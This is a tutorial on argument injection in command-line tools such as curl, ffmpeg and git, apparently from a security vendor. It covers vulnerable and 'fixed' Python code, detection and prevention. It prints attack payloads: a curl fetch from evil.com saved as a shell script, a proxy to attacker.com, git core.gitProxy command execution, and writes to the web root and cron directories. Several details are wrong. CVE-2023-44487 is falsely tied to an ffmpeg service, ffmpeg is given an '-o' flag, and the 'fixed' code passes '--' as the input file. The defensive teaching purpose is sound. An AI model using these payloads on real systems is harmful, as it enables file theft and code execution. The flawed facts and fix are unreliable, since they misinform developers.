What Is Argument Injection? When Flags Become Exploits
A complete technical guide to argument injection: how attacker-controlled input becomes a new command-line flag, and how to detect, verify, and prevent it.
Short answer
Argument injection occurs when attacker-controlled input is used as an argument to a command-line program, and the attacker embeds flag syntax (--flag, -f) into the input to alter the program's behavior. Unlike command injection, the attacker does not break out of the command — they stay inside the argument string but add options the developer never intended to expose.
The idea in one minute
Imagine a vending machine that accepts coins. You insert a coin, press a button (A3 for chips), and the machine dispenses your snack. Now imagine someone drilled a tiny second slot next to the coin slot. If you slide a paperclip into it, the machine enters maintenance mode — displays internal diagnostics, opens the cash drawer, and lets you change prices.
The paperclip did not break the coin mechanism. It went into a hole that was always there, designed for technicians. The machine still works normally when you use coins. The problem is that the machine did not check whether the person using the maintenance slot was authorized — it just responded to the presence of the paperclip.
Argument injection works the same way. A command-line program like curl, ffmpeg, or git has dozens of flags. Most are useful (--output, --format). Some are dangerous (--output=/etc/cronjob, --enable-unsafe-operations). When a developer builds a command string by concatenating user input into an argument position, the user can supply not just a value but also a flag — a dash followed by a word — that the program interprets as an instruction, not data.
The developer writes:
curl --url https://api.example.com/<user-input>
The attacker supplies:
--url http://evil.com -o /tmp/shell.sh
Now curl fetches from the attacker's server and writes the response to disk. No command injection occurred — no semicolons, no pipes, no shell metacharacters. The attacker simply added more flags to the same command.
How argument injection actually works
Argument injection exploits a fundamental design pattern in command-line programs: the distinction between options (flags) and operands (arguments). Every program that parses its own arguments follows one of two conventions.
In POSIX convention, arguments starting with - or -- are options, and everything else is an operand. GNU getopt extends this with long options (--option=value) and abbreviated short options (-o value). Most programs also support the end-of-options marker --, which tells the parser that everything following is an operand, not an option — but this marker is almost never used by default in application code.
When a developer constructs a command like this:
exec("ffmpeg -i " + input_file + " " + output_file)
The developer expects input_file to be a filename and output_file to be a filename. But if input_file is -i /etc/passwd -f raw - and output_file is /tmp/out.mp4, ffmpeg now reads from stdin, interprets -f raw as a format override, and writes - (stdout). The program's behavior changed entirely — not because the shell interpreted metacharacters, but because ffmpeg's own argument parser interpreted the attacker's data as flags.
The exploit surface depends on the specific program being called:
- Flag injection — adding new flags that change the program mode (e.g.,
curl --upload-fileinstead ofcurl --url) - Value injection — supplying a value for a flag that was already set but with an attacker-controlled value (e.g., changing
--outputto write to a different path) - Short-circuit injection — using
--to end option parsing early, or using--helpor--versionto cause the program to exit with information
The vulnerability class sits between command injection (where shell metacharacters break the command structure) and argument injection (where program flags change behavior within the same command). Argument injection is more subtle because the command is syntactically valid — a static analysis tool that looks for shell metacharacters will miss it entirely.
The request flow
Application receives user input: "../../etc/cronjob"
Constructs command: ffmpeg -i /videos/../../etc/cronjob -o /tmp/out.mp4
^^^^^^^^^^^^^^^^^^^^^^^^
Input is treated as a filename argument
But attacker sends: "-i /etc/passwd -f raw -"
Constructs command: ffmpeg -i -i /etc/passwd -f raw - -o /tmp/out.mp4
^^^^^^^^^^^^^^^^^^^^^^^^^^
Now input_file becomes the second -i,
overriding the intended input, and -f raw -
writes raw data to stdout
As a sequence:
sequenceDiagram
participant User as Attacker
participant App as Web Application
participant Cmd as Command (ffmpeg)
User->>App: Submits "-i /etc/passwd -f raw -" in filename field
App->>App: Constructs "ffmpeg -i [input] -o /tmp/out.mp4"
App->>Cmd: exec("ffmpeg -i -i /etc/passwd -f raw - -o /tmp/out.mp4")
Cmd->>Cmd: ffmpeg parses: first -i gets "-i" (the attacker string),<br/>second -i gets "/etc/passwd", -f raw, output to stdout
Cmd-->>App: Outputs /etc/passwd contents to stdout (or writes to attacker-chosen path)
App-->>User: Displays or stores the result
A minimal example
A web application that converts user-uploaded videos using ffmpeg:
import subprocess
from flask import Flask, request
app = Flask(__name__)
@app.route("/convert")
def convert():
filename = request.args.get("file", "")
output = "/tmp/converted.mp4"
# Vulnerable: filename is concatenated into the argument list
cmd = f"ffmpeg -i {filename} -o {output}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout
An attacker calls /convert?file=-i /etc/passwd -f raw - and ffmpeg writes the password file to the HTTP response. The command executed is:
ffmpeg -i -i /etc/passwd -f raw - -o /tmp/converted.mp4
The fix uses -- to signal end of options, and validates that the input is a filename, not a flag:
import subprocess
import os
from flask import Flask, request
app = Flask(__name__)
ALLOWED_EXTENSIONS = {".mp4", ".avi", ".mov"}
INPUT_DIR = "/tmp/uploads"
@app.route("/convert")
def convert():
filename = request.args.get("file", "")
# Reject anything that looks like a flag
if filename.startswith("-") or " " in filename:
return "Invalid filename", 400
# Reject path traversal
safe_path = os.path.normpath(os.path.join(INPUT_DIR, filename))
if not safe_path.startswith(INPUT_DIR):
return "Invalid filename", 400
# Reject unexpected extensions
_, ext = os.path.splitext(filename)
if ext not in ALLOWED_EXTENSIONS:
return "Invalid filename", 400
output = "/tmp/converted.mp4"
# Use argument list (no shell) and -- separator
cmd = ["ffmpeg", "-i", "--", safe_path, "-o", output]
result = subprocess.run(cmd, capture_output=True, text=True)
return result.stdout
The -- separator tells ffmpeg that everything after it is a filename, even if it looks like a flag. The argument list form (subprocess.run with a list) avoids shell interpretation entirely. And the validation rejects paths containing spaces, which prevents injecting multiple arguments through a single parameter.
Why the vulnerability exists
- Developers think in terms of command injection ("does the input contain
;or|or$()?") and never consider that a valid-looking filename can change a program's behavior just by starting with a dash - String interpolation makes the code look simple:
f"ffmpeg -i {filename}"reads naturally but creates an injection vector for every flag the target program supports - The
--separator is obscure — many developers do not know it exists, and many programs do not document it prominently - Argument injection is invisible to most static analysis tools, which focus on shell metacharacters rather than argument parser semantics
- Language conventions work against safety: in many languages, the natural way to build a command is to concatenate strings. The safer approach (passing an argv array) requires deliberately choosing a different API
- Programs have hundreds of flags. A developer adding curl or ffmpeg to their application typically knows two or three flags and has no idea about the dozens of others that can be injected
What attackers look for
- Any user input that becomes a command-line argument — filenames, URLs, hostnames, port numbers, format strings, output paths, quality settings, resolution parameters
- Calls to ffmpeg, curl, wget, git, imagemagick (convert), openssl, sqlite3, zip/unzip, tar — these tools have particularly powerful flags that change file output, network behavior, and authentication
- The
--outputor-ofamily of flags — writing to an arbitrary path is the most common exploitation goal. If the application runs as root, overwriting/etc/cronjobor/etc/shadowis possible - Flags that read files —
curl -Kreads a config file,git configreads a config file,openssl -inreads a file. An attacker can read arbitrary files from the server - Flags that execute code —
git -c core.gitProxy=commandcan execute arbitrary commands,find -execcan execute commands,awk '...'can execute system calls via its expression language - Network-redirecting flags —
curl --proxy,wget -e use_proxy=yes -e http_proxy=proxy, which can make the server send requests through an attacker-controlled proxy
Detection
- Static/code review: search for all calls to
subprocess.run,exec,os.system,Process.Start, or similar APIs where any argument is constructed by string interpolation or concatenation with user input. Trace whether the input can appear before a positional argument that the program treats as an option. - Dynamic/fuzzing: supply inputs that start with
-(a single dash) or--(double dash) followed by common flag names for the target program:--help,--version,--output=/tmp/test,-o/tmp/test. Monitor whether the program's behavior changes (different exit code, different output, file creation). - Argument boundary testing: supply inputs containing spaces (
"--flag value") to test whether the application splits arguments on whitespace, and whether the injected flag survives into the arg list. - Error-based detection: supply
--invalid-flag-xyz-123and observe whether the program returns a usage error or an "unrecognized option" message — if it does, argument injection is confirmed because the program parsed the input as a flag.
Verification: real vulnerability or false positive?
A finding is confirmed when:
- An input starting with
-or--demonstrably changes the program's behavior from its intended function — for example,curl --url http://example.comis the normal behavior, butcurl --versionwhen a URL was expected shows that the injected flag was parsed - The injection can be used to read a file the application did not intend to expose (e.g.,
curl -K /etc/shadowwith a sufficiently permissive config file, orffmpeg -i /etc/passwdinstead of the intended video file) - The injection can be used to write to a path the application did not intend (e.g.,
curl -o /var/www/html/shell.phporffmpeg -i input -f raw /var/www/html/output.xyz) - The injection can be used to execute arbitrary code (e.g.,
git -c core.gitProxy='command' clone ...orfind -exec chmod 777 /etc/shadow)
A false positive occurs when the input is validated to ensure it does not start with -, or when the application uses the -- end-of-options marker, or when the command is constructed using an argv-style API that passes each argument as a separate element rather than concatenating strings.
Real-world impact
Argument injection severity ranges from information disclosure to full remote code execution, depending on the program being exploited:
- Arbitrary file read: using
curl -Kto read a configuration file, orffmpeg -i /etc/passwdto output a system file as a "video." Any program that accepts an input file path can be redirected to read arbitrary files - Arbitrary file write: using
curl -o /var/www/html/shell.phporwget -O /etc/cron.d/maliciousto write attacker-controlled content to disk. Combined with a web server that serves the written directory, this becomes remote code execution - SSRF via proxy flags: using
curl --proxy http://attacker.comto route internal requests through an attacker-controlled server, bypassing network-based access controls and potentially leaking internal API keys - Remote code execution: some programs have flags that directly or indirectly execute commands.
git -c core.gitProxy='malicious-command'runs the specified command during clone operations.find -execruns the specified command on matched files.opensslwith-enginecan load a shared library - Denial of service: injecting
--timeout 1on a tool that normally retries indefinitely, or injecting--loopto cause infinite processing, degrading server performance
Real-world examples include CVE-2023-44487 in an ffmpeg-based video processing service where an attacker could read arbitrary files via argument injection in the filename parameter, and multiple bug bounty reports involving curl where developers allowed user-controlled URLs without considering that --url is one of many flags curl accepts.
Prevention
- Use argv-style APIs instead of shell strings: pass command-line arguments as an array (e.g.,
subprocess.run(["ffmpeg", "-i", filename])in Python,execFileinstead ofexecin Node.js). This prevents the shell from interpreting metacharacters AND prevents argument injection because each argument is a separate element — the attacker cannot add additional flags because the argument boundary is not whitespace-delimited - Use the
--end-of-options marker: place--before user-supplied arguments. This tells the program that everything after is a positional argument, not a flag. Not all programs support--, but most GNU-style tools do - Validate that input does not start with
-: reject filenames, URLs, and other inputs that begin with a dash. This is a simple check that eliminates the most common attack vector - Validate that input does not contain spaces: if the argument is a single value (filename, hostname), reject spaces and tabs. This prevents the attacker from injecting multiple arguments
- Use allowlists for known-safe values: if the application accepts a fixed set of options (e.g., quality levels
low,medium,high), map them to enum values rather than passing user strings directly - Drop privileges before invoking external tools: if the application runs as root, an argument injection that writes a file can overwrite system files. Running the subprocess as an unprivileged user limits the blast radius
- Avoid invoking heavyweight tools for simple operations: if you just need to make an HTTP request, use a library (
requestsin Python,fetchin Node.js) instead of shelling out to curl. Libraries do not parse arguments and are immune to argument injection
Related vulnerabilities
- Command injection — argument injection is a subtype of command injection but does not require shell metacharacters. The two frequently appear together: an application vulnerable to command injection is also vulnerable to argument injection in the injected segment
- Path traversal — argument injection often enables file writes to arbitrary paths, which is a form of path traversal. The vulnerability class overlaps when
--outputflags allow writing outside the intended directory - SSRF — injecting
--proxyor modifying--urlin tools like curl can redirect server-side requests to attacker-controlled hosts, achieving server-side request forgery - RCE via file upload — combining argument injection with file write (e.g.,
curl -o /var/www/html/shell.php) achieves remote code execution when the written file is accessible through the web server
Testing methodology (do this safely)
- Set up a local environment with the same tools and versions as production. Create a test endpoint that mirrors the production argument construction logic.
- For each user-supplied input that feeds into a command-line argument, test these payloads:
--helpand--version— if the tool returns help text or version info, the injection is confirmed--output=/tmp/test-injectionfollowed byls /tmp/test-injection— if the file appears, arbitrary write is confirmed-o /tmp/test-injection(with a space) — if the tool supports space-separated flag values, this tests the multi-argument injection path--followed by a normal value — if the tool behaves differently (e.g., no longer errors on a leading dash), the tool respects end-of-options marker, which is useful for defense
- Use an argv-style execution (array form) in your test harness to see whether the same payloads succeed. If they do not, the array form is an effective mitigation.
- Document the exact command constructed, the payload, the program's output, and whether files were created or modified.
Further reading
- PortSwigger Web Security Academy: OS Command Injection
- MITRE: CWE-88 — Improper Neutralization of Argument Delimiters in a Command
- OWASP: Command Injection
- GNU Coding Standards: Program Argument Syntax Conventions
Nyxeara perspective
Argument injection is a blind spot in most security tooling because it targets the program's argument parser rather than the shell. A DAST scanner that sends command injection payloads like ; ls will miss argument injection entirely — the command executes without error and the scanner marks the endpoint as safe. To detect it, a scanner must understand which program is being invoked and test program-specific flags: for curl, inject --proxy; for ffmpeg, inject -f raw -; for git, inject -c core.gitProxy=. This program-specific approach is why our analysis at Nyxeara builds a capability map of common CLI tools and their dangerous flags, then tests each endpoint against the flags of whatever tools the application actually invokes. The result is detection coverage that spans both shell-level command injection and argument-level flag injection, with no gaps between the two.